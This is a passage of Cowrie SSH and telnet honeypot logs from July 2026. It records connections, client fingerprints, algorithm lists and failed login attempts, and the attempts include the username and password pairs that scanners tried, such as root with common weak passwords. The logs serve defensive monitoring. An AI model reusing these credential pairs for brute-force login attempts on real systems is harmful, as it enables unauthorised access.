1-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:00.705178Z","src_ip":"159.65.58.200","session":"03d9153a2c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:00.799412Z","src_ip":"154.18.197.35","session":"67b89222299b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sharipov","password":"123456","message":"login attempt [sharipov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:01.916656Z","src_ip":"159.65.58.200","session":"03d9153a2c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.193.165","src_port":40708,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc9990c2a883","protocol":"ssh","message":"New connection: 20.228.193.165:40708 (10.17.0.5:22) [session: bc9990c2a883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:02.173860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:02.178197Z","src_ip":"20.228.193.165","session":"bc9990c2a883","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:02.189234Z","src_ip":"20.228.193.165","session":"bc9990c2a883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test@2024","message":"login attempt [root/Test@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:02.268870Z","src_ip":"20.228.193.165","session":"bc9990c2a883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:03.287640Z","src_ip":"20.228.193.165","session":"bc9990c2a883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:03.539768Z","src_ip":"159.65.58.200","session":"03d9153a2c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.174.129.232","src_port":34430,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cb8c6062af3","protocol":"ssh","message":"New connection: 160.174.129.232:34430 (10.17.0.5:22) [session: 2cb8c6062af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:05.808897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:05.815340Z","src_ip":"160.174.129.232","session":"2cb8c6062af3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:05.953214Z","src_ip":"160.174.129.232","session":"2cb8c6062af3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"us3r","message":"login attempt [user/us3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:06.538936Z","src_ip":"160.174.129.232","session":"2cb8c6062af3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:07.679198Z","src_ip":"160.174.129.232","session":"2cb8c6062af3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47510,"dst_ip":"159.203.135.109","dst_port":23,"session":"d01fcf3501ca","protocol":"telnet","message":"New connection: 170.64.224.25:47510 (159.203.135.109:23) [session: d01fcf3501ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:21.224120Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":53484,"dst_ip":"159.203.135.109","dst_port":22,"session":"d693ca887c2d","protocol":"ssh","message":"New connection: 80.66.85.226:53484 (159.203.135.109:22) [session: d693ca887c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:25.565863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:25.569829Z","src_ip":"80.66.85.226","session":"d693ca887c2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:25.659987Z","src_ip":"80.66.85.226","session":"d693ca887c2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vkoomare88","message":"login attempt [root/vkoomare88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:25.929411Z","src_ip":"80.66.85.226","session":"d693ca887c2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:27.021378Z","src_ip":"80.66.85.226","session":"d693ca887c2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45306,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff204a46a8cf","protocol":"telnet","message":"New connection: 170.64.224.25:45306 (159.203.135.109:23) [session: ff204a46a8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:42.569190Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.16.244.39","src_port":52347,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d92d6b67312","protocol":"ssh","message":"New connection: 177.16.244.39:52347 (10.17.0.5:22) [session: 4d92d6b67312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:49.331064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:49.334665Z","src_ip":"177.16.244.39","session":"4d92d6b67312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:49.459333Z","src_ip":"177.16.244.39","session":"4d92d6b67312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"r00tr00t","message":"login attempt [user/r00tr00t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:49.984484Z","src_ip":"177.16.244.39","session":"4d92d6b67312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:51.110269Z","src_ip":"177.16.244.39","session":"4d92d6b67312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51566,"dst_ip":"159.203.135.109","dst_port":23,"session":"aad81ec50ca7","protocol":"telnet","message":"New connection: 170.64.224.25:51566 (159.203.135.109:23) [session: aad81ec50ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:57.718714Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.38.41","src_port":55488,"dst_ip":"159.203.135.109","dst_port":22,"session":"65b0375a1b08","protocol":"ssh","message":"New connection: 165.232.38.41:55488 (159.203.135.109:22) [session: 65b0375a1b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:58.345338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:58.349458Z","src_ip":"165.232.38.41","session":"65b0375a1b08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:58.425274Z","src_ip":"165.232.38.41","session":"65b0375a1b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456.","message":"login attempt [root/123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:58.746614Z","src_ip":"165.232.38.41","session":"65b0375a1b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:59.821239Z","src_ip":"165.232.38.41","session":"65b0375a1b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55142,"dst_ip":"159.203.135.109","dst_port":23,"session":"82faba43ae6b","protocol":"telnet","message":"New connection: 107.6.151.170:55142 (159.203.135.109:23) [session: 82faba43ae6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:06.541703Z"}
{"eventid":"cowrie.session.closed","duration":59.32252645492554,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:20.546529Z","src_ip":"170.64.224.25","session":"d01fcf3501ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.8027138710022,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:25.371778Z","src_ip":"170.64.224.25","session":"ff204a46a8cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.362092971801758,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:26.080658Z","src_ip":"170.64.224.25","session":"aad81ec50ca7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":55830,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2904767c7df","protocol":"ssh","message":"New connection: 146.190.154.85:55830 (159.203.135.109:22) [session: e2904767c7df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:28.195087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:28.199629Z","src_ip":"146.190.154.85","session":"e2904767c7df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:28.270728Z","src_ip":"146.190.154.85","session":"e2904767c7df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dirac","password":"123456","message":"login attempt [dirac/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:28.592690Z","src_ip":"146.190.154.85","session":"e2904767c7df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:29.669434Z","src_ip":"146.190.154.85","session":"e2904767c7df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:29.912456Z","src_ip":"117.175.51.134","session":"d23fd14afab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":60034,"dst_ip":"10.17.0.5","dst_port":22,"session":"f97c4d648c6d","protocol":"ssh","message":"New connection: 189.203.163.10:60034 (10.17.0.5:22) [session: f97c4d648c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:34.905546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:34.909587Z","src_ip":"189.203.163.10","session":"f97c4d648c6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:34.971742Z","src_ip":"189.203.163.10","session":"f97c4d648c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mko0-pl,","message":"login attempt [root/mko0-pl,] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:35.253544Z","src_ip":"189.203.163.10","session":"f97c4d648c6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:36.318860Z","src_ip":"189.203.163.10","session":"f97c4d648c6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.123.134.194","src_port":33058,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3387f05315a","protocol":"ssh","message":"New connection: 34.123.134.194:33058 (159.203.135.109:22) [session: f3387f05315a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:39.090171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:39.094265Z","src_ip":"34.123.134.194","session":"f3387f05315a","protocol":"ssh"}
